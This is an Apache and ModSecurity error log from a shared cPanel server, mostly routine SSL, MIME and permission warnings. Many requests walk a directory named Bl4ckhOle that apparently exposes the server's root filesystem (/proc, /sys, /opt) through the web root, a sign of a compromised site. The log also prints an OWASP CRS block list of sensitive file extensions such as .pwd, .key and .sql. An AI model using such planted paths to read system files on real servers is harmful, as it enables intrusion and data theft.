[Fri Jul 17 09:06:17.379777 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjMYe39YUk0SgV8AU7_gAAABE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:06:17.379819 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjMYe39YUk0SgV8AU7_gAAABE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:06:17.516932 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:57936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:17.940122 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:18.378141 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:18.474658 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:18.587711 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:19.057084 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:19.065541 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:19.065747 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:20.028179 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:58062] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:25.041698 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:51332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:26.035367 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 57.141.18.35:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory114/node0/memory9/subsystem/devices/memory5/subsystem/devices/memory101/subsystem/drivers_probe
[Fri Jul 17 09:06:27.050655 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:51426] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:27.051004 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory129/subsystem/devices/memory49/subsystem/devices/memory75/node0/memory112/online"] [unique_id "almjO1CBpfuYyhJ140vUeAAAAB4"]
[Fri Jul 17 09:06:27.051104 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory129/subsystem/devices/memory49/subsystem/devices/memory75/node0/memory112/online"] [unique_id "almjO1CBpfuYyhJ140vUeAAAAB4"]
[Fri Jul 17 09:06:29.622776 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:51512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:29.817951 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:51522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:33.408656 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:44844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:35.209913 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:45000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:37.321043 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:45104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:39.902443 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:45266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:40.776591 2026] [security2:error] [pid 1993668:tid 1993668] [client 57.141.18.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory71/node0/memory82/node0/memory62/"] [unique_id "almjSBAi3pC6yjXGNq2CBAAAAAU"]
[Fri Jul 17 09:06:40.776642 2026] [security2:error] [pid 1993668:tid 1993668] [client 57.141.18.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory71/node0/memory82/node0/memory62/"] [unique_id "almjSBAi3pC6yjXGNq2CBAAAAAU"]
[Fri Jul 17 09:06:41.888720 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:41.925569 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:42.346996 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:42.449009 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:42.449206 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:42.802801 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:44.161702 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:42756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:46.556003 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:42870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:47.674236 2026] [security2:error] [pid 2030955:tid 2030955] [client 47.82.13.167:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/class/bdi/7:0/subsystem/7:0/min_ratio"] [unique_id "almjT_wooI4qY7Jg93pXQwAAABM"]
[Fri Jul 17 09:06:47.674284 2026] [security2:error] [pid 2030955:tid 2030955] [client 47.82.13.167:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/class/bdi/7:0/subsystem/7:0/min_ratio"] [unique_id "almjT_wooI4qY7Jg93pXQwAAABM"]
[Fri Jul 17 09:06:48.057336 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:48.494872 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:48.696582 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:49.573132 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 57.141.18.25:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory9/subsystem/devices/memory75/subsystem/devices/memory73/subsystem/drivers_probe
[Fri Jul 17 09:06:50.068459 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 47.82.8.155:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/smartd.service/memory.pressure_level
[Fri Jul 17 09:06:50.074612 2026] [security2:error] [pid 1993668:tid 1993668] [client 47.82.55.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/geos.ini"] [unique_id "almjUhAi3pC6yjXGNq2CCgAAAAU"]
[Fri Jul 17 09:06:50.075195 2026] [security2:error] [pid 1993668:tid 1993668] [client 47.82.55.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/geos.ini"] [unique_id "almjUhAi3pC6yjXGNq2CCgAAAAU"]
[Fri Jul 17 09:06:50.077861 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.092866 2026] [security2:error] [pid 1993668:tid 1993668] [client 47.82.55.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/geos.ini"] [unique_id "almjUhAi3pC6yjXGNq2CCgAAAAU"]
[Fri Jul 17 09:06:50.116735 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:43068] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:50.230620 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.276843 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.536393 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.734128 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.736543 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.736851 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:50.961166 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:43096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:51.049124 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:51.070962 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:51.077409 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:51.156154 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:51.171482 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.207831 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.218081 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.514277 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.557020 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.674746 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.684885 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.941471 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:52.943934 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:53.011884 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:53.109014 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:34160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:53.127117 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:53.434459 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:53.466558 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:53.545334 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:54.288283 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:54.355628 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:54.395981 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:54.897912 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:55.587203 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:34266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:58.626987 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:34432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:00.820379 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822294 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822376 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822553 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822601 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822643 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822663 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822684 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822702 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822721 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822751 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822770 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.822801 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.829380 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.829428 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.829560 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:00.969909 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:34534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:01.052668 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.052766 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053111 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053161 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053221 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053257 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053294 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053349 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053384 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053445 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053480 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053519 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053555 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053610 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.053794 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.154367 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.154492 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.154838 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.154885 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.154944 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.154980 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155015 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155059 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155098 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155162 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155197 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155237 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155271 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155306 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.155470 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257180 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257278 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257622 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257668 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257721 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257751 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257783 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257812 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257843 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257895 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257931 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257963 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.257991 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.258035 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.258218 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.354717 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.455806 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:01.556979 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:02.478861 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:53324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:04.478615 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:04.570905 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:04.672743 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:04.772176 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:04.873706 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:05.402936 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:05.461766 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/dell-products"] [unique_id "almjYbEWOaI5pmYo9fnQfgAAAAA"]
[Fri Jul 17 09:07:05.462527 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/dell-products"] [unique_id "almjYbEWOaI5pmYo9fnQfgAAAAA"]
[Fri Jul 17 09:07:05.462911 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/dell-products"] [unique_id "almjYbEWOaI5pmYo9fnQfgAAAAA"]
[Fri Jul 17 09:07:06.680416 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:53546] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:06.680803 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.35:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory77/node0/memory73/subsystem/devices/memory132/state"] [unique_id "almjYlCBpfuYyhJ140vUkgAAAB4"]
[Fri Jul 17 09:07:06.680907 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.35:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory77/node0/memory73/subsystem/devices/memory132/state"] [unique_id "almjYlCBpfuYyhJ140vUkgAAAB4"]
[Fri Jul 17 09:07:07.693758 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:53584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:08.125876 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:53612] AH02013: coalesce failed to read from data bucket
